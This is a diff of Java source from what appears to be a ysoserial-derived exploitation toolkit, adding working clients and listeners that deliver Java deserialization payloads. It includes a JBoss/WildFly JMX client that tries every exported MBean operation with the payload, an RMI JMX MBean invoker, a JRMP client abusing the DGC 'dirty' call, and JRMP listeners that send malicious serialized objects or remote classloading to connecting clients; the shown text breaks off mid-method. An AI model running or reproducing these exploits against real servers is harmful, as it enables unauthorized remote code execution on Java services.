||||
public class UnSupportedGadgetTypeException extends RuntimeException {
|
||||
public UnSupportedGadgetTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedGadgetTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.qi4l.jndi.exceptions;
|
||||
|
||||
public class UnSupportedPayloadTypeException extends RuntimeException {
|
||||
public UnSupportedPayloadTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedPayloadTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,385 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.controllers.ysoserial;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.jboss.remoting3.Connection;
|
||||
import org.jboss.remoting3.*;
|
||||
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
|
||||
import org.jboss.remoting3.spi.*;
|
||||
import org.jboss.remotingjmx.VersionedConnection;
|
||||
import org.xnio.*;
|
||||
import org.xnio.IoFuture.Status;
|
||||
import org.xnio.ssl.JsseXnioSsl;
|
||||
import org.xnio.ssl.XnioSsl;
|
||||
|
||||
import javax.management.*;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
import javax.security.auth.callback.*;
|
||||
import javax.security.sasl.RealmCallback;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.SocketAddress;
|
||||
import java.net.URI;
|
||||
import java.security.KeyManagementException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.NoSuchProviderException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.*;
|
||||
import java.util.logging.*;
|
||||
|
||||
|
||||
/**
|
||||
* An exploitation client for JBoss AS/Wildfly JMX
|
||||
* <p>
|
||||
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
|
||||
* <p>
|
||||
* This is not as readily exploitable as in other pieces of software:
|
||||
* 1. they only allow authenticated access by default
|
||||
* 2. they have a very strict module architecture:
|
||||
* - all MBeans exported by default use classloaders that expose almost nothing useful
|
||||
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
||||
* <p>
|
||||
* This client enumerates all application exported MBean method which are then called
|
||||
* delivering the specified payload.
|
||||
* <p>
|
||||
* I.e. you can succesfully exploit that
|
||||
* - you have access to the interface
|
||||
* (username/password can be specified via URL, note: despite not noticeable,
|
||||
* local connections implicitely use authentication)
|
||||
* - there is an application exported MBean
|
||||
* - that application imports the classes required for the gadget chain
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"rawtypes"
|
||||
})
|
||||
public class JBoss {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 5) {
|
||||
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
URI u = URI.create(args[0]);
|
||||
|
||||
// 去除前一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
Starter.main(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
String username = null;
|
||||
String password = null;
|
||||
if (u.getUserInfo() != null) {
|
||||
int sep = u.getUserInfo().indexOf(':');
|
||||
if (sep >= 0) {
|
||||
username = u.getUserInfo().substring(0, sep);
|
||||
password = u.getUserInfo().substring(sep + 1);
|
||||
} else {
|
||||
System.err.println("Need <user>:<password>@");
|
||||
System.exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
doRun(u, payloadObject, username, password);
|
||||
}
|
||||
|
||||
|
||||
private static void doRun(URI u, final Object payloadObject, String username, String password) {
|
||||
ConnectionProvider instance = null;
|
||||
ConnectionProviderContextImpl context = null;
|
||||
ConnectionHandler ch = null;
|
||||
Channel c = null;
|
||||
VersionedConnection vc = null;
|
||||
try {
|
||||
Logger logger = LogManager.getLogManager().getLogger("");
|
||||
logger.addHandler(new ConsoleLogHandler());
|
||||
logger.setLevel(Level.INFO);
|
||||
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
|
||||
context = new ConnectionProviderContextImpl(options, "endpoint");
|
||||
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
|
||||
String host = u.getHost();
|
||||
int port = u.getPort() > 0 ? u.getPort() : 9990;
|
||||
SocketAddress destination = new InetSocketAddress(host, port);
|
||||
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
|
||||
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
|
||||
c = getChannel(context, ch, options);
|
||||
System.err.println("Connected");
|
||||
vc = makeVersionedConnection(c);
|
||||
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
|
||||
doExploit(payloadObject, mbc);
|
||||
System.err.println("DONE");
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
cleanup(instance, context, ch, c, vc);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
||||
VersionedConnection vc) {
|
||||
if (vc != null) {
|
||||
vc.close();
|
||||
}
|
||||
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (ch != null) {
|
||||
try {
|
||||
ch.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
if (instance != null) {
|
||||
try {
|
||||
instance.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
context.getXnioWorker().shutdown();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
|
||||
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
|
||||
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
||||
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
|
||||
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
|
||||
instance.connect(null, destination, options, result, new CallbackHandler() {
|
||||
|
||||
public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
|
||||
|
||||
for (Callback cb : callbacks) {
|
||||
|
||||
if (cb instanceof NameCallback) {
|
||||
((NameCallback) cb).setName(username);
|
||||
} else if (cb instanceof PasswordCallback) {
|
||||
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
|
||||
} else if (!(cb instanceof RealmCallback)) {
|
||||
System.err.println(cb);
|
||||
throw new UnsupportedCallbackException(cb);
|
||||
}
|
||||
}
|
||||
}
|
||||
}, xnioSsl);
|
||||
|
||||
System.err.println("waiting for connection");
|
||||
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
|
||||
Status s = ioFuture.await(5, TimeUnit.SECONDS);
|
||||
if (s == Status.FAILED) {
|
||||
System.err.println("Cannot connect");
|
||||
if (ioFuture.getException() != null) {
|
||||
ioFuture.getException().printStackTrace(System.err);
|
||||
}
|
||||
} else if (s != Status.DONE) {
|
||||
ioFuture.cancel();
|
||||
System.err.println("Connect timeout");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
|
||||
return chf;
|
||||
}
|
||||
|
||||
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
|
||||
Channel c;
|
||||
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
|
||||
ch.open("jmx", chResult, options);
|
||||
|
||||
IoFuture<Channel> cFuture = chResult.getIoFuture();
|
||||
Status s2 = cFuture.await();
|
||||
if (s2 == Status.FAILED) {
|
||||
System.err.println("Cannot connect");
|
||||
if (cFuture.getException() != null) {
|
||||
throw new IOException("Connect failed", cFuture.getException());
|
||||
}
|
||||
} else if (s2 != Status.DONE) {
|
||||
cFuture.cancel();
|
||||
throw new IOException("Connect timeout");
|
||||
}
|
||||
|
||||
c = cFuture.get();
|
||||
return c;
|
||||
}
|
||||
|
||||
|
||||
private static VersionedConnection makeVersionedConnection(Channel c)
|
||||
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
||||
VersionedConnection vc;
|
||||
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
|
||||
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
|
||||
Reflections.setAccessible(vcCreate);
|
||||
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
|
||||
return vc;
|
||||
}
|
||||
|
||||
|
||||
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
|
||||
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
||||
Object[] params = new Object[1];
|
||||
params[0] = payloadObject;
|
||||
System.err.println("Querying MBeans");
|
||||
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
|
||||
System.err.println("Found " + testMBeans.size() + " MBeans");
|
||||
for (ObjectInstance oi : testMBeans) {
|
||||
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
|
||||
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
|
||||
try {
|
||||
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
|
||||
return;
|
||||
} catch (Throwable e) {
|
||||
String msg = e.getMessage();
|
||||
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
|
||||
int start = msg.indexOf('"');
|
||||
int stop = msg.indexOf('"', start + 1);
|
||||
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
|
||||
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
|
||||
int cstart = msg.indexOf(':');
|
||||
int cend = msg.indexOf(' ', cstart + 2);
|
||||
String cls = msg.substring(cstart + 2, cend);
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
|
||||
}
|
||||
} else {
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final class ConsoleLogHandler extends Handler {
|
||||
|
||||
|
||||
@Override
|
||||
public void publish(LogRecord record) {
|
||||
System.err.println(record.getMessage());
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void flush() {
|
||||
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void close() throws SecurityException {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
||||
|
||||
private ConnectionProviderContextImpl context;
|
||||
|
||||
|
||||
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
|
||||
this.context = context;
|
||||
}
|
||||
|
||||
|
||||
public void remoteClosed() {
|
||||
}
|
||||
|
||||
|
||||
public OpenListener getServiceOpenListener(String serviceType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public RegisteredService getRegisteredService(String serviceType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public ConnectionProviderContext getConnectionProviderContext() {
|
||||
return this.context;
|
||||
}
|
||||
|
||||
|
||||
public Connection getConnection() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
||||
|
||||
private XnioWorker worker;
|
||||
|
||||
private ExecutorService executor;
|
||||
|
||||
private Xnio instance;
|
||||
|
||||
private Endpoint endpoint;
|
||||
|
||||
|
||||
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
|
||||
this.instance = Xnio.getInstance();
|
||||
|
||||
this.worker = this.instance.createWorker(opts);
|
||||
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
|
||||
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
|
||||
|
||||
public Thread newThread(Runnable r) {
|
||||
Thread t = new Thread(r, "Worker");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
public XnioWorker getXnioWorker() {
|
||||
return this.worker;
|
||||
}
|
||||
|
||||
|
||||
public Xnio getXnio() {
|
||||
return this.instance;
|
||||
}
|
||||
|
||||
|
||||
public Executor getExecutor() {
|
||||
return this.executor;
|
||||
}
|
||||
|
||||
|
||||
public Endpoint getEndpoint() {
|
||||
return this.endpoint;
|
||||
}
|
||||
|
||||
|
||||
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
|
||||
System.err.println("accept");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.controllers.ysoserial;
|
||||
|
||||
import javax.management.MBeanServerConnection;
|
||||
import javax.management.ObjectName;
|
||||
import javax.management.remote.JMXConnector;
|
||||
import javax.management.remote.JMXConnectorFactory;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
|
||||
/*
|
||||
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
||||
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
||||
*
|
||||
*/
|
||||
public class JMXInvokeMBean {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 6) {
|
||||
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
|
||||
|
||||
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
|
||||
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
Starter.main(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
||||
|
||||
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
|
||||
|
||||
//close the connection
|
||||
jmxConnector.close();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.gadgets.JRMPClient;
|
||||
|
||||
import java.net.URL;
|
||||
|
||||
|
||||
/**
|
||||
* JRMP listener triggering RMI remote classloading
|
||||
* <p>
|
||||
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
||||
* <p>
|
||||
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
||||
* access to an RMI socket when you can deliver {@link JRMPClient}.
|
||||
* <p>
|
||||
* This only works if
|
||||
* - the remote end is running with a security manager
|
||||
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
||||
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
||||
* <p>
|
||||
* and, of course, the payload class is then run under the security manager with a remote codebase
|
||||
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
||||
* with a security manager bypass exploit (wouldn't be the first time).
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JRMPClassLoadingListener {
|
||||
|
||||
public static final void main(final String[] args) {
|
||||
|
||||
if (args.length < 3) {
|
||||
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[0]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.controllers.ysoserial;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.*;
|
||||
|
||||
/**
|
||||
* Generic JRMP client
|
||||
* <p>
|
||||
* Pretty much the same thing as {@link RMIRegistryExploit} but
|
||||
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
|
||||
* - not deserializing anything (so you don't get yourself exploited ;))
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JRMPClient {
|
||||
|
||||
public static final void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String hostname = args[0];
|
||||
int port = Integer.parseInt(args[1]);
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
Starter.main(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
|
||||
makeDGCCall(hostname, port, payloadObject);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
|
||||
InetSocketAddress isa = new InetSocketAddress(hostname, port);
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
s = SocketFactory.getDefault().createSocket(hostname, port);
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
@SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(2); // DGC
|
||||
objOut.writeInt(0);
|
||||
objOut.writeLong(0);
|
||||
objOut.writeShort(0);
|
||||
|
||||
objOut.writeInt(1); // dirty
|
||||
objOut.writeLong(-669196253586618813L);
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
|
||||
os.flush();
|
||||
} finally {
|
||||
if (dos != null) {
|
||||
dos.close();
|
||||
}
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
|
||||
private URL sendUrl;
|
||||
|
||||
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||
super(out);
|
||||
this.sendUrl = u;
|
||||
}
|
||||
|
||||
MarshalOutputStream(OutputStream out) throws IOException {
|
||||
super(out);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void annotateClass(Class<?> cl) throws IOException {
|
||||
if (this.sendUrl != null) {
|
||||
writeObject(this.sendUrl.toString());
|
||||
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||
writeObject(null);
|
||||
} else {
|
||||
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||
String cb = "";
|
||||
|
||||
for (URL u : us) {
|
||||
cb += u.toString();
|
||||
}
|
||||
writeObject(cb);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Serializes a location from which to load the specified class.
|
||||
*/
|
||||
@Override
|
||||
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||
annotateClass(cl);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,292 @@
|
||||
package com.qi4l.jndi.exploit;
|
||||
|
||||
import com.qi4l.jndi.Starter;
|
||||
import com.qi4l.jndi.controllers.ysoserial;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.net.ServerSocketFactory;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.UID;
|
||||
import java.util.Arrays;
|
||||
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
* <p>
|
||||
* Opens up an JRMP listener that will deliver the specified payload to any
|
||||
* client connecting to it and making a call.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JRMPListener implements Runnable {
|
||||
|
||||
private int port;
|
||||
|
||||
private Object payloadObject;
|
||||
|
||||
private ServerSocket ss;
|
||||
|
||||
private Object waitLock = new Object();
|
||||
|
||||
private boolean exit;
|
||||
|
||||
private boolean hadConnection;
|
||||
|
||||
private URL classpathUrl;
|
||||
|
||||
|
||||
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = payloadObject;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = makeDummyObject(className);
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public static final void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
// 去除第一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
Starter.main(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[0]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, payloadObject);
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
protected static Object makeDummyObject(String className) {
|
||||
try {
|
||||
ClassLoader isolation = new ClassLoader() {
|
||||
};
|
||||
ClassPool cp = new ClassPool();
|
||||
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||
CtClass clazz = cp.get(Dummy.class.getName());
|
||||
clazz.setName(className);
|
||||
return clazz.toClass(isolation).newInstance();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
public boolean waitFor(int i) {
|
||||
try {
|
||||
if (this.hadConnection) {
|
||||
return true;
|
||||
}
|
||||
System.err.println("Waiting for connection");
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.wait(i);
|
||||
}
|
||||
return this.hadConnection;
|
||||
} catch (InterruptedException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public void close() {
|
||||
this.exit = true;
|
||||
try {
|
||||
this.ss.close();
|
||||
} catch (IOException e) {
|
||||
}
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notify();
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
Socket s = null;
|
||||
try {
|
||||
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||
try {
|
||||
s.setSoTimeout(5000);
|
||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||
System.err.println("Have connection from " + remote);
|
||||
|
||||
InputStream is = s.getInputStream();
|
||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||
|
||||
// Read magic (or HTTP wrapper)
|
||||
bufIn.mark(4);
|
||||
DataInputStream in = new DataInputStream(bufIn);
|
||||
int magic = in.readInt();
|
||||
|
||||
short version = in.readShort();
|
||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
DataOutputStream out = new DataOutputStream(bufOut);
|
||||
|
||||
byte protocol = in.readByte();
|
||||
switch (protocol) {
|
||||
case TransportConstants.StreamProtocol:
|
||||
out.writeByte(TransportConstants.ProtocolAck);
|
||||
if (remote.getHostName() != null) {
|
||||
out.writeUTF(remote.getHostName());
|
||||
} else {
|
||||
out.writeUTF(remote.getAddress().toString());
|
||||
}
|
||||
out.writeInt(remote.getPort());
|
||||
out.flush();
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
case TransportConstants.SingleOpProtocol:
|
||||
doMessage(s, in, out, this.payloadObject);
|
||||
break;
|
||||
default:
|
||||
case TransportConstants.MultiplexProtocol:
|
||||
System.err.println("Unsupported protocol");
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
bufOut.flush();
|
||||
out.flush();
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
System.err.println("Closing connection");
|
||||
s.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} finally {
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
if (this.ss != null) {
|
||||
this.ss.close();
|
||||
}
|
||||
}
|
||||
|
||||
} catch (SocketException e) {
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||
System.err.println("Reading message...");
|
||||
|
||||
int op = in.read();
|
||||
|
||||
switch (op) {
|
||||
case TransportConstants.Call:
|
||||
// service incoming RMI call
|
||||
doCall(in, out, payload);
|
||||
break;
|
||||
|
||||
case TransportConstants.Ping:
|
||||
// send ack for ping
|
||||
out.writeByte(TransportConstants.PingAck);
|
||||
break;
|
||||
|
||||
case TransportConstants.DGCAck:
|
||||
UID u = UID.read(in);
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IOException("unknown transport op " + op);
|
||||
}
|
||||
|
||||
s.close();
|
||||
}
|
||||
|
||||
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||
|
||||
@Override
|
||||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
||||
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||
return ObjID[].class;
|
||||
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||
return ObjID.class;
|
||||
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||
return UID.class;
|
||||
}
|
||||
throw new IOException("Not allowed to read object");
|
||||
}
|
||||
};
|
||||
|
||||
ObjID read;
|
||||
try {
|
||||
read = ObjID.read(ois);
|
||||
} catch (java.io.IOException e) {
|
||||
throw new MarshalException("unable to read objID", e);
|
||||
}
|
||||
|
||||
|
||||
if (read.hashCode() == 2) {
|
||||
ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||
}
|
||||
|
||||
System.err.println("Sending return with payload for obj " + read);
|
||||
|
||||
out.writeByte(TransportConstants.Return);// transport op
|
||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
||||
|
||||
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||
new UID().write(oos);
|
||||
|
||||
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(ex, "val", payload);
|
||||
oos.writeObject(ex);
|
||||
|
||||
oos.flush();
|
||||
out.flush();
|
||||
|
||||
this.hadConnection = true;
|
||||
synchronized (this.waitLock) {
|
||||
